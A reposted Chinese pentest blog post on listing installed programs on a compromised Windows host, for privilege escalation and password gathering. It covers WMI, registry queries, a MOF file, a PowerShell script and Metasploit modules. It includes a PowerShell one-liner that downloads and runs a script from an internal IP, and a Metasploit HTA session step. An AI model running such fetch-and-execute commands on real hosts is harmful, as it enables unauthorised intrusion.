获取主机已安装程序的多种方式

admin 2022年6月27日10:06:11评论87 views字数 4507阅读15分1秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 前言

这篇文章我们主要讲的是获取主机已安装程序的多种方式,通过获取的软件及版本信息可用于权限提升、搜集密码等。因为有的方式获取不完整或者可能被安全防护软件拦截,所有我测试了多个方法,以备不时之需。


0x02 通过控制面板查看安装程序

我们先去控制面板看下总共安装了多少程序,开始菜单 -> 控制面板 -> 程序 -> 程序和功能,也可以在命令行下直接输入appwiz.cpl打开程序和功能查看。

获取主机已安装程序的多种方式

0x03 通过WMI获取安装程序列表

WMI查询Win32_Product这种方式获取的已安装程序列表并不完整,因为这种方只能获取那些通过Windows Installer安装的程序,所以其它方式安装的程序就会无法获取。

wmic product get name,versionwmic /namespace:\rootcimv2 path win32_product get name,versionGet-WmiObject -Class win32_product | Select-Object -Property name,version
获取主机已安装程序的多种方式


通过这种方式查询已安装程序不仅很慢、而且不完整,还会产生大量应用程序日志,事件ID为:1035,所以并不推荐使用这种方式。

获取主机已安装程序的多种方式


0x04 通过注册表获取安装程序列表

这种方式一般都是通过读取以下4个注册表项中的子健来获取主机上的已安装程序,每个子健代表一个已安装的程序,对应的是控制面板的程序和功能程序列表,Wow6432Node为32位。

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\UninstallHKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\UninstallHKLM\SOFTWARE\WOW6432NODE\Microsoft\Windows\CurrentVersion\UninstallHKCU\SOFTWARE\WOW6432NODE\Microsoft\Windows\CurrentVersion\Uninstall
获取主机已安装程序的多种方式


(1) mofcomp

Mofcomp.exe是系统自带的一个工具,用来编译mof文件,并将mof文件中的信息添加到WMI数据库中,可以用WMI Explorer工具来查看WMI支持的各种类。

获取主机已安装程序的多种方式


所以我们可以直接通过Mofcomp.exe执行SampleProductsList.mof文件将读取到的注册表项中的子健结果添加进VMI数据库中,然后再用WMIC命令查询即可。

mofcomp.exe C:ProgramDataSampleProductsList.mofwmic /namespace:"\rootdefault" path sampleproductslist get displayname,displayversionwmic /namespace:"\rootdefault" path sampleproductslist32 get displayname,displayversion
获取主机已安装程序的多种方式
获取主机已安装程序的多种方式

SampleProductsList.mof

// "AS-IS" sample MOF file for returning the two uninstall registry subkeys// Unsupported, provided purely as a sample// Requires compilation. Example: mofcomp.exe sampleproductslist.mof// Implements sample classes: "SampleProductList" and "SampleProductlist32"// (for 64-bit systems with 32-bit software)
#PRAGMA AUTORECOVER[dynamic, provider("RegProv"),ProviderClsid("{fe9af5c0-d3b6-11ce-a5b6-00aa00680c3f}"),ClassContext("local|HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall")]
class SampleProductsList {[key] string KeyName;[read, propertycontext("DisplayName")] string DisplayName;[read, propertycontext("DisplayVersion")] string DisplayVersion;};
[dynamic, provider("RegProv"),ProviderClsid("{fe9af5c0-d3b6-11ce-a5b6-00aa00680c3f}"),ClassContext("local|HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432node\Microsoft\Windows\CurrentVersion\Uninstall")]
class SampleProductsList32 {[key] string KeyName;[read, propertycontext("DisplayName")] string DisplayName;[read, propertycontext("DisplayVersion")] string DisplayVersion;};

(2) Powershell

这个Powershell脚本是@3gstudent师傅写的,也是通过读取几个注册表项来获取主机上的已安装程序,加了个判断系统位数,自动判断注册表重定向,但这种方式在执行时肯定会被某数字防护拦截。

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.103:8888/ListInstalledPrograms.ps1'); ListPrograms
获取主机已安装程序的多种方式


ListInstalledPrograms.ps1

<#.SYNOPSISThis script can be used to list the programs that the current Windows system has installed.Supprot x86 and x64 Author: 3gstudent@3gstudentLicense: BSD 3-Clause#>
Function ListPrograms{ param($RegPath) $QueryPath = dir $RegPath -Nameforeach($Name in $QueryPath){(Get-ItemProperty -Path $RegPath$Name).DisplayName# (Get-ItemProperty -Path $RegPath$Name).Publisher# (Get-ItemProperty -Path $RegPath$Name).DisplayVersion}} if ([IntPtr]::Size -eq 8){Write-Host "[*] OS: x64"Write-Host "[*] List the 64 bit programs that have been installed"$RegPath = "Registry::HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall"ListPrograms -RegPath $RegPath
Write-Host "[+] List the 32 bit programs that have been installed"
$RegPath = "Registry::HKEY_LOCAL_MACHINESOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionUninstall"ListPrograms -RegPath $RegPath}else{Write-Host "[*] OS: x86"Write-Host "[*] List the 32 bit programs that have been installed"$RegPath = "Registry::HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall"ListPrograms -RegPath $RegPath}

(3) Metasploit

首先利用hta_server模块获取一个会话,然后再用enum_applications模块获取主机上已安装的应用程序及其版本列表,虽然也能在会话中用run get_application_list获取,但并不完整。

msf5 exploit(windows/misc/hta_server) > use post/windows/gather/enum_applicationsmsf5 post(windows/gather/enum_applications) > set session 1msf5 post(windows/gather/enum_applications) > exploit
meterpreter > run get_application_list
获取主机已安装程序的多种方式
获取主机已安装程序的多种方式


这是因为get_application_list这个脚本只读取x64的已安装应用程序列表,所以会少一些,而enum_applications这个模块同时读取x64和x32的已安装应用程序列表,所以比较完整。

获取主机已安装程序的多种方式
获取主机已安装程序的多种方式


参考链接:

https://3gstudent.github.io/渗透基础-获得当前系统已安装的程序列表https://docs.microsoft.com/zh-cn/windows/win32/msi/windows-installer-portalhttps://docs.microsoft.com/en-us/archive/blogs/askds/how-to-not-use-win32_product-in-group-policy-filtering

0x05 PDF和工具下载

这篇文章的PDF文档及所使用到的工具可关注【潇湘信安】公众号回复【0627】获取。



关 注 有 礼



关注公众号回复“9527”可以领取一套HTB靶场文档和视频1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”杀软对比源码+数据源,0421Windows提权工具包

获取主机已安装程序的多种方式 还在等什么?赶紧点击下方名片关注学习吧!获取主机已安装程序的多种方式


推 荐 阅 读




获取主机已安装程序的多种方式
获取主机已安装程序的多种方式
获取主机已安装程序的多种方式

获取主机已安装程序的多种方式

原文始发于微信公众号(潇湘信安):获取主机已安装程序的多种方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月27日10:06:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   获取主机已安装程序的多种方式https://cn-sec.com/archives/1146107.html

发表评论

匿名网友 填写信息